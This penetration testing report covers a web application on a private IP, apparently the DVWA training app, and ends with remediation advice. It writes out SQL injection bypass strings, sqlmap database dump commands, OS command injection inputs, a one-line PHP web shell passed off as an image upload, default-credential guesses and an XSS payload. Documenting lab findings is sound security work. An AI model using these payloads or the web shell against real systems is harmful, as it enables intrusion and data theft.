Web Application Penetration Testing Report
Target: http://192.168.0.12
Assessment Type: Web Application Penetration Testing
Tester: Arabi Basnet
Date: 2025-11-25

1. Introduction

The security assessment of **http://192.168.0.12** identified multiple high-risk vulnerabilities across authentication, input handling, server configuration, and file upload functionality. Critical issues such as SQL Injection, Command Injection, and Remote Code Execution indicate insufficient validation and weak server-side controls. Automated and manual tests show the application can be fully compromised with minimal effort. Immediate remediation and hardening are required to prevent unauthorized access, data leakage, and system takeover.

2. Testing Scope

- Login Functionality
- SQL Injection (GET & POST)
- Command Injection
- File Upload / RCE
- Authentication Security
- Cookies
- Browser-Side Attacks (XSS)
- Automated Scanning (sqlmap, ZAP)

3. Methodology

- Manual Testing (Burp Suite, Browser, CLI)
- Automated Scanning (sqlmap, OWASP ZAP)
- Exploitation & Validation
- Reporting

3. Test Logs

Test ID	Vulnerability	Severity	Target URL
001	SQL Injection – Login (Manual)	**Critical**	http://192.168.0.12/login.php
002	SQL Injection – Login (sqlmap)	**Critical**	http://192.168.0.12/login.php
003	SQL Injection – GET (Manual)	**Critical**	http://192.168.0.12/vulnerabilities/sqli/
004	Command Injection (exec)	**Critical**	http://192.168.0.12/vulnerabilities/exec/
005	File Upload Bypass (RCE Upload)	**Critical**	http://192.168.0.12/vulnerabilities/upload/
006	Weak Authentication	**High**	http://192.168.0.12/login.php

	(Password Guessing)		
007	Insecure Cookie Flags	**High**	http://192.168.0.12/
008	OWASP ZAP Active Scan	**High**	http://192.168.0.12/
009	XSS – Reflected	**Medium**	http://192.168.0.12/vulnerabilities/xss_r/
010	Missing Security Headers	**Medium**	http://192.168.0.12/ (All responses)
011	Burp Manual Interception Test	**Info**	http://192.168.0.12/

5. Detailed Findings (With Payload · STRC Format)

5.1 Test ID 001 — SQL Injection (Login – Manual)

Severity: Critical
URL: /login.php
S = Steps

1. Navigated to login page
2. Entered malicious payload in username field
3. Intercepted request in Burp
4. Forwarded and validated login bypass

T = Test Description
Testing authentication for SQL injection vulnerability using classic injection methods.
R = Raw Request (POST)

```
POST /login.php HTTP/1.1
Host: 192.168.0.12
Content-Type: application/x-www-form-urlencoded

username=admin'+OR+1=1--+-&password=test&Login=Login
```

C = Payload / Code Used

```
admin' OR 1=1-- -
```

Result
Login bypass successful.

5.2 Test ID 002 — SQL Injection (sqlmap)

Severity: Critical
URL: /login.php
S

1. Captured login request
2. Saved to file login.req
3. Executed sqlmap enumeration

T
Automated SQL injection using sqlmap.
C (Command Executed)
sqlmap -r login.req --batch --dbs
sqlmap -r login.req --batch -D dvwa --tables
sqlmap -r login.req --batch -D dvwa -T users --dump
Result
Database dump retrieved successfully.

5.3 Test ID 003 — SQL Injection GET (Manual)

Severity: Critical
URL: /vulnerabilities/sqli/?id=1&Submit=Submit
S

1. Navigated to sqli module
2. Manipulated GET id parameter
3. Verified database extraction

T
Testing for GET-based SQL injection.
R
GET /vulnerabilities/sqli/?id=1'+OR+1=1--+-&Submit=Submit HTTP/1.1
C Payload
1' OR 1=1-- -
Result
SQL injection confirmed.

5.4 Test ID 004 — Command Injection (exec)

Severity: Critical
URL: /vulnerabilities/exec/
S

1. Entered user-controlled input
2. Injected OS command
3. Received system response

T
Testing command execution on server.
R
ip=127.0.0.1;uname -a
C Payload

127.0.0.1; ls
127.0.0.1; whoami
Result
Command execution successful.

5.5 Test ID 005 — File Upload Bypass → RCE
Severity: Critical
URL: /vulnerabilities/upload/
S

1. Uploaded a PHP shell disguised as image
2. Located file in /hackable/uploads/
3. Executed remote command via shell

T
Testing file upload validation.
R (Upload Request Snippet)
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/png
C Payload (shell.php)
<?php system($_GET['cmd']); ?>
Execution
http://192.168.0.12/hackable/uploads/shell.php?cmd=whoami
Result
Remote Command Execution successful.

5.6 Test ID 006 — Weak Authentication
Severity: High
URL: /login.php
S

1. Manually attempted weak credentials

C Payload
admin:admin
admin:password
test:test123
Result
Valid login with weak credentials found.

5.7 Test ID 007 — Insecure Cookies
Severity: High
URL: /
R
Set-Cookie: PHPSESSID=8ba3423
C Flags Missing

- HttpOnly
- Secure

Result
Cookie vulnerable to theft.

5.8 Test ID 008 — OWASP ZAP Active Scan
Severity: High
Assets Tested: Entire site
Findings

- Directory listing
- XSS
- SQL Injection
- Missing Headers

5.9 Test ID 009 — Reflected XSS
Severity: Medium
URL: /vulnerabilities/xss_r/?name=payload
R
GET /vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
C Payload
<script>alert('XSS')</script>
Result
JavaScript executed successfully.

5.10 Test ID 010 — Missing Security Headers

Severity: Medium
URL: /
Headers Missing

- Content-Security-Policy
- X-Frame-Options
- X-XSS-Protection
- Strict-Transport-Security

5.11 Test ID 011 — Manual Interception Test

Severity: Info
Tested modifying requests via Burp Suite Proxy.

6. Conclusion

The target application demonstrates several severe security weaknesses across multiple layers of the web stack. Critical vulnerabilities such as SQL Injection, Command Injection, and unrestricted File Upload allow attackers to execute arbitrary system commands, extract database contents, and achieve full server compromise. Weak authentication controls and missing cookie security flags further expose user sessions to hijacking and brute-force attacks. The presence of numerous medium-level issues including reflected XSS and missing security headers indicates a lack of secure coding practices and insufficient input sanitation. Without urgent remediation, the application remains at high risk of exploitation, data loss, privilege escalation, and complete system takeover.
The application contains multiple **Critical vulnerabilities** including:

- SQL Injection
- Command Injection
- File Upload → RCE
- Authentication Weakness

Immediate remediation is required.

7. Recommendations

- Implement strict server-side input validation, including allowlists for expected formats.
- Switch all database operations to parameterized queries / prepared statements to eliminate SQL injection risks.
- Introduce file upload restrictions, including MIME-type checks, extension validation, storage outside the web root, and disabling script execution.
- Apply modern security headers: CSP, HSTS, X-Frame-Options, X-Content-Type-Options, and Referrer-Policy.
- Enforce strong authentication policies, including account lockout, strong password rules, and hashed+salted credentials.
- Use Secure and HttpOnly flags on all session cookies; enable SameSite=Lax.
- Disable dangerous PHP functions such as system(), exec(), shell_exec(), and restrict PHP file execution directories.
- Regularly update the server, PHP runtime, CMS components, and libraries.
- Configure proper server hardening, including least privilege permissions, directory restrictions, and firewall rules.
- Conduct periodic penetration tests and code reviews after every major update.

Summary

A comprehensive web application test was performed on **http://192.168.0.12** using manual and automated methods. SQL Injection, Command Injection, and File Upload vulnerabilities were confirmed, allowing database access and remote code execution. Weak authentication and insecure cookie flag increased session risks, while XSS and missing security headers highlighted input and configuration weaknesses. Automated scans with OWASP ZAP reinforced these findings. Overall, the application demonstrates multiple critical and high-risk vulnerabilities, requiring immediate remediation to secure user data and server integrity.